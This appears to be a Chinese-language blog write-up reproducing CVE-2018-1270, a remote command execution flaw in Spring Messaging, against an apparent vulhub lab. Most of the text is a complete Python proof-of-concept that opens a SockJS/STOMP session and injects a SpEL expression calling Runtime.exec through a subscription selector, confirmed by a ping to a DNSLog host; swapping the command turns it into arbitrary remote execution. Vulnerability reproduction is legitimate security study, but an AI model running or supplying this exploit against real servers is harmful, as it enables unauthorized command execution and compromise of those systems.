复现CVE-2018-1270——Spring Messaging 远程命令执行漏洞

spring messaging为spring框架提供消息支持，其上层协议是STOMP，底层通信基于SockJS，在spring messaging中，其允许客户端订阅消息，并使用selector过滤消息。selector用SpEL表达式编写，并使用StandardevaluationContext解析，造成命令执行漏洞。

 exp如下：

x.x.x.x/gs-guide-websocket

我是用dnslog验证的：

 用我的方法poc如下：

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)


def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time() * 1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)

    def send(self, command, headers, body=''):
        data = [command.upper(), 'n']

        data.append('n'.join([f'{k}:{v}' for k, v in headers.items()]))

        data.append('nn')
        data.append(body)
        data.append('x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://目标ip地址/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('ping dnslog的ip')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

poc脚本输出结果：

 查看dnslog回显结果：

 复现成功！